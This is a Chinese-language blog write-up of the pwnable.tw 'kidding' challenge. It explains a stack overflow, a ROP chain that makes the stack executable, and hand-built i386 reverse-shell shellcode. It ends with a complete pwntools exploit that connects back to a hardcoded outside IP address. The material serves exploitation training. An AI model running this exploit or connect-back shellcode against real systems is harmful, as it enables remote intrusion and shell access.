LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

pwnable.tw中的kidding

分析

首先我们先看一下程序反汇编的结果

图片无法显示,请设置GitHub代理

可以看到存在明显的栈溢出,但是其关闭了所有的输入输出,并且我们只能输入100个字符。算上ebppadding我们只能输入88字节作为payload。看一下程序开启了什么保护

图片无法显示,请设置GitHub代理

程序开启了堆栈不可执行保护,此时如果全部使用gadgets的话,只能够使用22个,这是远远不够的,因此得想办法绕过这个保护,即关闭NX保护,并从题目服务器建立与本机的链接,将输入输出流转移到该链接。

关闭NX保护

关闭NX保护是通过_dl_make_stack_executable函数实现的,我们先看一下这个函数

图片无法显示,请设置GitHub代理 图片无法显示,请设置GitHub代理

首先参数是通过eax的来获得的(从汇编代码可以知道参数的传递过程[eax]=>ecx)。程序首先判断传入进来的地址是否与_libc_stack_end相等,如果两者相等就调用mprotect函数,从函数调用我们可以看到是将address地址所在的内存页设置为_stack_prot的指定的保护属性。此时的dl_pagesize=0x1000

这里的_libc_start_end指的是stack_end也就是栈的最高地址。这里我们可以在程序的启动过程中分析得到。

程序的启动过程

一个典型的程序的启动流程如下

  1. 首先操作系统创建一个新的进程,随后将控制权交到程序的入口,这个入口往往是运行库中的某一个入口函数
  2. 入口函数对运行库和和程序的运行环境进行初始化,包括堆,I/O,全局变量的构造等
  3. 入口函数在完成初始化之后,调用main函数,正式开始执行程序的主体部分
  4. main函数执行完毕以后返回到入口函数,入口函数执行相应的清理工作,包括全局变阿玲的析构,堆销毁,关闭 I/O 等操作,然后进行系统调用结束进程

kidding程序中,首先执行的是_start函数
图片无法显示,请设置GitHub代理

起始的栈中的布局如下

图片无法显示,请设置GitHub代理

第一次执行的是xor ebp,ebp,这里是将ebp清零表示这是最外层的函数。

然后执行的是pop esi。注意到在调用_start函数之前,装载器会把用户的参数和环境变量压入栈中,按照其压栈的方法,栈顶元素是argc(0xffffcf10),然后是argv(0xcffffcf14)和环境变量数组(0xffffcf1c-stack_end)。所以这里esi表示的是argc,而后面mov ecx,esp则将ecx指向了argv的起始地址

然后是一系列的push操作,这是在为后面调用_libc_start_main做传递参数的准备,一共传递了七个参数,我们在glibc源码文件csu/libc-start.c文件中发现了_libc_start_main函数的源码

其中main函数应该是主体函数,init表示main函数调用之前的初始化工作,fini表示main函数结束之后的收尾工作,rtld_fini表示和动态加载相关的收尾工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv,
__typeof (main) init,
void (*fini) (void),
void (*rtld_fini) (void), void *stack_end)
{
/* Result of the 'main' function. */
int result;
//...
char **ev = &argv[argc + 1];

__environ = ev;

__libc_stack_end = stack_end;

//...
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);


exit (result);
}

这里只列出了部分的源代码,之后再进行详细的分析。

知道_libc_stack_end的含义之后我们就可以构造ROP链来执行_dl_make_stack_executable函数了。这里需要分为三个部分

  • 函数调用
  • 参数传递:需要修改的内存地址和保护属性两个参数需要设置
  • 函数返回:返回至ROP链继续执行

首先是函数调用问题,我们先看一下对这个函数的交叉引用

图片无法显示,请设置GitHub代理 图片无法显示,请设置GitHub代理

我们找到了调用该函数的汇编指令区域,并且在调用之前将_stack_prot设置为了7,注意到这里的7指的是可写可读可执行的属性,正好是我们需要的。这样调用问题就解决了,并且还顺带解决了mprotect的保护属性的参数问题

图片无法显示,请设置GitHub代理

接下来就是函数的参数问题了。注意函数的参数是通过eax传入的,而eax又是通过[ebp+0x18]赋值的,而且我们可以控制ebp,因此可以将ebp+0x18指向的空间保存为_libc_stack_end的地址,我们看一下对_libc_stack_end的引用

图片无法显示,请设置GitHub代理 图片无法显示,请设置GitHub代理

通过对汇编指令进行一定的偏移就可以获得保存_libc_stack_end地址的地址了,因此我们将ebp设置为0x8048902-0x18,这样函数的返回问题就解决了。

最后就是函数的返回问题了,因为我们知道call指令执行的时候会将函数的下一条指令压入栈中作为函数的返回地址(此时ROP链位于其低4字节地址处)。当函数返回,进行完堆栈平衡之后执行ret也就是pop eip,函数就会在call指令的下一条指令继续执行,而我们希望的是当执行完call调用的时候函数直接返回到ROP链中。

在函数在执行的起始会首先保存一些在函数执行过程中需要用到的寄存器的数据,即将他们进行压栈操作,因此我们只要将_dl_make_stack_executable重新定位到_dl_make_stack_executable+0x1,跳过函数执行的第一个push指令,这样在函数进行堆栈平衡的时候,会将call指令压入的返回地址弹入到寄存器中,而我们的ROP链就作为返回地址,函数在返回时就会跳转到ROP链继续执行我们的shellcode。这样就解决了函数的返回问题。

最终关闭NX的脚本如下

1
2
3
4
5
6
7
8
9
10
pop_ecx_ret = 0x080583c9
inc_ret = 0x080842c8
jmp_esp = 0x080bd13b

payload = 'a'*0x8
payload += p32(0x8048902-0x18)

payload += p32(pop_ecx_ret) + p32(0x80ea9f4)
payload += p32(inc_ret) + p32(0x080937f0) #call dl_make_stack_executable_hook
payload += p32(jmp_esp)

函数返回后执行jmp esp继续执行shellcode

图片无法显示,请设置GitHub代理

可以看到stack已经拥有了可执行权限

反弹shell

由于之前关闭NX保护用掉了shellcode32个字节,还剩下68个字节可以使用。建立反弹shell的流程如下

  1. 初始化一个socket对象
  2. 将标准输入输出和标准错误输出重定向到socket表示的文件描述符中
  3. 进行反向链接,即连接到我们的服务器
  4. 执行/bin/sh

那么我们将上面的流程逐步的改写为shellcode

首先是创建一个socket对象,这里使用到了系统调用define __NR_socketcall 102,因此我们需要将eax设置为系统调用号0x66,我们看一下这个系统调用的实现,该代码在linux内核源码部分net/socket.c文件中

系统调用号的定义在asm/unistd.h文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
unsigned long a[6];
unsigned long a0,a1;
int err;

if(call<1||call>SYS_RECVMSG)
return -EINVAL;

/* copy_from_user should be SMP safe. */
if (copy_from_user(a, args, nargs[call]))
return -EFAULT;

a0=a[0];
a1=a[1];

switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
case SYS_BIND:
err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
break;
case SYS_CONNECT:
err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
break;
case SYS_LISTEN:
err = sys_listen(a0,a1);
break;
case SYS_ACCEPT:
err = sys_accept(a0,(struct sockaddr __user *)a1, (int __user *)a[2]);
break;
//...
}
}

看到函数首先拷贝了传入的参数,然后根据call来判断调用的是哪个函数,接着调用函数。call的具体定义在linux内核源码部分的include/linux/net.h文件中。

1
2
3
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */

那么根据系统调用的参数的传递规则,我们需要将ebx设置为SYS_SOCKET1,将ecx指向调用socket.socket函数的参数的起始位置,这里我们直接设置为esp的地址即可,那么看一下socket.socket的函数的参数,一般的调用为socket(AF_INET,SOCK_STREAM,0);

1
2
3
#define AF_INET		2	/* Internet IP Protocol 	*/ linux/socket.h
#define SOCK_STREAM 1 /* stream (connection) socket */asm-i386/socket.h
asmlinkage long sys_socket(int family, int type, int protocol)

即传入的参数我们设置为[2,1,0]。最终调用socket.socket函数的汇编代码如下,其中cdq命令用来将edx清零。

1
2
3
4
5
6
7
8
9
0:   6a 01                   push   0x1
2: 5b pop ebx
3: 99 cdq
4: b0 66 mov al,0x66
6: 52 push edx
7: 53 push ebx
8: 6a 02 push 0x2
a: 89 e1 mov ecx,esp
c: cd 80 int 0x80

接着我们调用dup2函数将标准输入输出重定向,因为之前已经关闭了标准的输入输出,因此socket的文件描述符为0,这恰好是stdin的文件描述符,因此只需要将stdout=1重定位到0就可以了。dup2的系统调用号是63,也就是我们需要将eax设置为0x3f,我们知道dup2函数的调用如下

1
int dup2(int oldfd, int newfd)

因此我们将oldfd也就是ebx设置为0newfd也就是ecx设置为1。因此标准输入输出重定向的汇编代码如下

1
2
3
4
5
 e:   5e                      pop    esi
f: 59 pop ecx
10: 93 xchg ebx,eax
11: b0 3f mov al,0x3f
13: cd 80 int 0x80

接下来就是调用socket.connect,对应的call3,调用过程和调用socket.socket函数类似,因此我们将eax设置为0x66,将ebx设置为3ecx指向socket.connect函数调用时所用到的参数地址。首先我们先看一下这个函数的定义

1
asmlinkage long sys_connect(int fd, struct sockaddr __user *uservaddr, int addrlen)

这里的fd指的是socket的文件描述符,也就是0uservaddr是一个结构体,我们先看一下这个结构体

1
2
3
4
5
6
typedef unsigned short	sa_family_t;

struct sockaddr {
sa_family_t sa_family; /* address family, AF_xxx */
char sa_data[14]; /* 14 bytes of protocol address */
};

其中表示sa_family是一个无符号短整型,其大小为2字节,sa_data表示的是地址加上端口号其中端口是一个4字节大小的无符号整型。因为之前使用到了0x66并存储在了eax中,因此我们将端口设置为0x6600,后面的addrlen就设置为0x10

最终调用socket.connect函数的汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
15:   b0 66                   mov    al,0x66
17: 55 push IP<<需要自己设置
18: 66 50 push ax
1a: 66 56 push si
1c: 89 e1 mov ecx,esp
1e: 0e push 0x10
1f: 51 push ecx
20: 53 push ebx
21: 89 e1 mov ecx,esp
23: b3 03 mov bl,0x3
25: cd 80 int 0x80

最后执行/bin/sh

1
2
3
4
5
6
27:   b0 0b                   mov    al,0xb
29: 59 pop ecx
2a: 68 2f 73 68 00 push 0x68732f
2f: 68 2f 62 69 6e push 0x6e69622f
34: 89 e3 mov ebx,esp
36: cd 80 int 0x80

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import time

context.log_level = "debug"
context.arch = "i386"
debug = 1
elf = ELF("./kidding")
if debug:
p = process(["./kidding"])
gdb.attach(p)
else:
p = remote("chall.pwnable.tw",10303)

dl_make_address = 0x80937f0

pop_ecx_ret = 0x080583c9
inc_ret = 0x080842c8
jmp_esp = 0x080bd13b

payload = 'a'*0x8
payload += p32(0x8048902-0x18)

payload += p32(pop_ecx_ret) + p32(0x80ea9f4)
payload += p32(inc_ret) + p32(0x080937f0)
payload += p32(jmp_esp)

shellcode = '''
push 0x1;
pop ebx;
cdq;

mov al,0x66;
push edx;
push ebx;
push 0x2;
mov ecx,esp;
int 0x80;

pop esi;
pop ecx;
xchg ebx,eax;
mov al,0x3f;
int 0x80;

mov al,0x66;
push %d;
push ax;
push si;
mov ecx,esp;

push 0x10;
push ecx;
push ebx;
mov ecx,esp;
mov bl,0x3;
int 0x80;

mov al,0xb;
pop ecx;
push 0x68732f;
push 0x6e69622f;
mov ebx,esp;
int 0x80

'''%(u32(binary_ip("128.61.240.205")))
port = 0x6600
shellcode = asm(shellcode)
listener = listen(port)
p.send(payload+shellcode)
time.sleep(2)
listener.sendline("cd /home")
listener.interactive()